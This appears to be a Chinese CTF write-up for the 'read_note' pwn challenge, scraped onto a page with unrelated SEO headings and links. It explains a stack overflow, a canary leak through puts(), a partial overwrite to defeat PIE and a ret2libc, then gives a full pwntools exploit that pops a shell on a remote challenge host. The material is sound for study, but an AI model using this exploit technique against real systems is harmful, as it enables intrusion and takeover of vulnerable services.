当前位置: 首页 > news >正文

个人网站页面设计需要那些步骤10种网络营销方法

个人网站页面设计需要那些步骤,10种网络营销方法,电子商务与网站建设的报告,hao1123网址之家知识点 puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00 Canary最低位为\x00(截断符) \x 和 0x 的区别#xff1a; 区别不大#xff0c;都是把数按16进制输出。 1、0x 表示整型数值 #xff08;十六进制#xff09; char c 0x42; 表示的是一个数值(字母B的…知识点 puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00 Canary最低位为\x00(截断符) \x 和 0x 的区别 区别不大都是把数按16进制输出。 1、0x 表示整型数值 十六进制 char c 0x42; 表示的是一个数值(字母B的ASCII码66)可以认为等价于 int c 0x42; 2、\x42用于字符表达或者字符串表达 char c ‘\x42’; 亦等价于 char c 0x42; char* s “\x41\x42”; //表示字符串AB 程序编译的时候入口并不是main函数而是start代码段。事实上start代码段还会调用__libc_start_main来做一些初始化工作最后调用main函数并在main函数结束后做一些处理。 解题流程 先运行一下看看 一开始会让你输入一个路径不存在的话就会报错退出然后打印出文件内容然后分别输入note的长度和内容输入内容的长度取决于之前的note长度如果实际输入的长度不是624则再输入一遍 查看保护机制 发现除了RELRO其他保护机制全开 此题难点 第一要读懂题目找出漏洞 第二是要绕过各类保护机制 第三是exp的编写调试。 第一要读懂题目找出漏洞 首先分析程序重要部分如下所示。一开始会让你输入一个路径不存在的话就会报错退出然后打印出文件内容以上均可以忽略没有任何用处。然后分别输入note的长度和内容输入内容的长度取决于之前的note长度如果实际输入的长度不是624则再输入一遍此时输入内容的长度变为0x270624。可以发现v4的长度为0x258600而输入的长度可以任意控制因此存在栈溢出。 第二是要绕过各类保护机制 确定了漏洞所在下一个问题就是如何绕过NX、Canary、PIE和ASLR等保护机制了下面一个个来说。 1.NX很简单ROP即可。 2.Canary会很大程度上妨碍栈溢出但结合本题的环境输入一次后紧接着一个puts函数将输入内容打印出来然后还有一次输入的机会因此可以在第一次输入时通过覆盖Canary最低位的\x00为其他值Canary最低位肯定为\x00而puts()会一直输出直到碰见\x00位置让puts()泄露出Canary的内容第二次输入时再将正确的Canary写回去就可以绕过Canary的保护了。 3.PIE会让程序加载的基地址随机化但是随机化并不完全最低三位是不会改变的可以利用这个特性通过覆盖最低的两位来有限的修改程序控制流然后再泄露出程序加载地址。 4.至于ASLR利用ret2libc的方法泄露出libc的版本就可以算出system等函数的地址然后get shell了。 第三是exp的编写调试 通过以上的分析由于需要泄露三个内容因此main函数需要执行四次每次执行都会有两次输入每次执行的工作分别如下 第一次执行 需要在填满v4的长度600后再溢出两个十六进制位(64位计算机一个地址是8个字节)覆盖Canary的最低位然后将Canary打印出来再次输入时将正确的Canary放在原来的位置然后溢出栈上返回地址的低两位为\x20。为什么是\x20是因为从ida里可以发现vul函数最后retn的地址为0xd1fmain函数的起始地址是0xd20前面的偏移都是相同的因此可以通过这类方法绕过PIE再跳回main。 如图D2E为main的返回地址 第二次执行 在填满600的基础上需要再多溢出两个地址位数(64位计算机一个地址是8个字节)也就是616。从栈分布可以看出v4之后是Canary0x7fffffffde88处然后再填充一个地址位就可以输出main14的真实地址也就可以得到程序加载的地址。之后使用跟之前同样的方法再次回到main函数的起始位置。 第三次执行 要溢出的就是__libc_start_main的真实地址了作为main函数的返回地址从上图可以看出可以从栈上泄露__libc_start_main240的地址依次利用LibcSearcher算出libc版本然后得到system地址和/bin/sh字符串的地址。此时已经具备了get shell的条件但由于第二次输入的长度所限因此还要再跳回main函数再次执行程序。 第四次执行 将payload拼接好然后发给程序了。由于是64位传参需要rdi。通过ROPgadget搜索程序二进制发现存在pop rdi;ret;的gadget将其偏移再加上第二步得到的程序加载基地址就可以得到gadget的真实地址至此payload拼接完成可以拿到shell了。 exp from pwn import * from LibcSearcher import * #sh process(./file/read_note) #本地调试 sh remote(114.116.54.89,10000) #context.log_level debugpop_rdi_ret 0x0000000000000e03 #----------------------------------------------------------------------------------------------------------- #第一次 log.info(first time) sh.sendlineafter(Please input the note path:, flag) #在接受到Please input the note path:后才发送~/Desktop \n sh.sendlineafter(please input the note len:, 1000) sh.recvuntil(please input the note:) #直到接收到please input the note:为止payload1 a*600 sh.sendline(payload1) #发送一行数据相当于在末尾加\n sh.recvuntil(a*600) #直到接收到600个a为止 #绕过canary方法一 canary u64(sh.recv(8))-0xa log.info(Canary: hex(canary))#绕过canary方法二 #canary1u64(b\x00sh.recv(7))#绕过canary方法三 #canary2 u64(sh.recv(7).rjust(8,b\x00))sh.recvuntil(so please input note(len is 624)) #直到接收到so please input note(len is 624)为止payload1 ba*600 p64(canary) p64(1) b\x20 print(payload1) sh.send(payload1) #----------------------------------------------------------------------------------------------------------- #第二次 log.info(second time) sh.sendlineafter(Please input the note path:, flag) #在接受到Please input the note path:后才发送~/Desktop \n sh.sendlineafter(please input the note len:, 1000) sh.recvuntil(please input the note:) #直到接收到please input the note:为止payload2 a*616 sh.send(payload2) #发送payload2里的数据 sh.recvuntil(a*616) #直到接收到616个a为止 main_addr u64(sh.recv()[0:6] b\x00\x00) - 0xe #D2E为main的返回地址 log.info(main_addr: str(hex(main_addr)))base main_addr - 0xd20 pop_rdi_ret_addr base pop_rdi_ret log.info(base addr:str(hex(base)))payload2 a*600 p64(canary) p64(1) p64(main_addr) sh.send(payload2)#----------------------------------------------------------------------------------------------------------- #第三次 log.info(third time) sh.sendlineafter(Please input the note path:, flag) sh.sendlineafter(please input the note len:, 1000) sh.recvuntil(please input the note:)elf ELF(./file/read_note) #ELF模块用于获取ELF文件的信息通过ELF()获取这个文件的句柄然后通过这个句柄调用plt函数获取PLT的地址 start_plt elf.plt[__libc_start_main] print(start_plt: hex(start_plt))payload3 a*648 sh.send(payload3) sh.recvuntil(a*648) libc_start_addr u64(sh.recv()[0:6] b\x00\x00) - 240 log.info(__libc_start_main:str(hex(libc_start_addr)))libc LibcSearcher(__libc_start_main, libc_start_addr) log.info(libc: str(libc)) libc_base libc_start_addr - libc.dump(__libc_start_main)#libc.dump(“xxx”) 可以计算出xxx的偏移地址再libc_start_addr减去偏移地址就得到了libc_base的基址 log.info(libc_base: str(libc_base)) system_addr libc_base libc.dump(system)#通过基址加system的偏移得到system的实际地址 log.info(system_addr str(system_addr)) binsh_addr libc_base libc.dump(str_bin_sh)#通过基址加/bin/sh字符串的偏移得到/bin/sh的实际地址 log.info(binsh_addr: str(binsh_addr))payload3 a*600 p64(canary) p64(1) p64(main_addr) sh.send(payload3)#----------------------------------------------------------------------------------------------------------- #最后一次 log.info(fourth time) sh.sendlineafter(Please input the note path:, flag) #在接受到Please input the note path:后才发送~/Desktop \n sh.sendlineafter(please input the note len:, 1000) sh.recvuntil(please input the note:)payload4 a*600 p64(canary) p64(1) p64(pop_rdi_ret_addr) p64(binsh_addr) p64(system_addr) sh.send(payload4) sh.recvuntil(so please input note(len is 624)) sh.send(payload4) sh.interactive()运行结果 由于本题有bug建立连接后直接输入flag出现flag
http://www.zqtcl.cn/news/667376/

相关文章:

  • 网站联盟名词解释网站建设 上海网站建设
  • 南通优普高端网站建设wordpress 煎蛋主题
  • 大企业网站制作及维护关于网站建设的论文题目
  • wordpress网站字体淄博网站搜索排名
  • visual stdio 做网站 注册用户 密码必须6位以上品牌服装网站源码
  • 做网站用到的技术湖南建设银行网站
  • 成都大型网站设计公司电脑上重新下载一个wordpress
  • 番禺网站建设知乎自己做网站卖矿山设备
  • 手表网站起名登录页面html模板
  • 泰国如何做网站推广大英网站建设工作
  • 山东省职业能力建设处网站dz论坛怎么做视频网站吗
  • 郑州专业做网站的公司今天郑州最新通告
  • wap网站引导页特效wordpress 文章 数据库
  • 做建筑效果图最好的网站做网站是如果盈利的
  • 企业网站seo托管怎么做seo公司培训
  • 自己做网站不想买空间 自己电脑可以做服务器吗?下载建设网站软件
  • 有服务器自己怎么做网站百度广告电话号码是多少
  • 一个网站 两个数据库沈阳市住房和城乡建设厅网站
  • 重庆建站网站流程及费用制作网页界面工具
  • 设计师家园官网wordpress 4.9 优化
  • 主机屋空间安装织梦后台程序后怎么弄成淘宝客网站襄阳网站制作
  • 怎么建设分销模式手机网站宜昌做网站的公司
  • 网上商城网站设计网页设计作业欣赏
  • 育才网站建设网站访问慢原因
  • 网站建设方案 备案品牌网站推广软件
  • 桓台县建设局网站前端开发入门培训
  • 前端怎么在猪八戒网站接单做烟台网站开发技术
  • 济南烨铭网站建设做英文网站2014
  • 哪个餐饮店微网站做的有特色3d动画制作收费标准
  • h5旅游网站开发wordpress的站点地址如何配置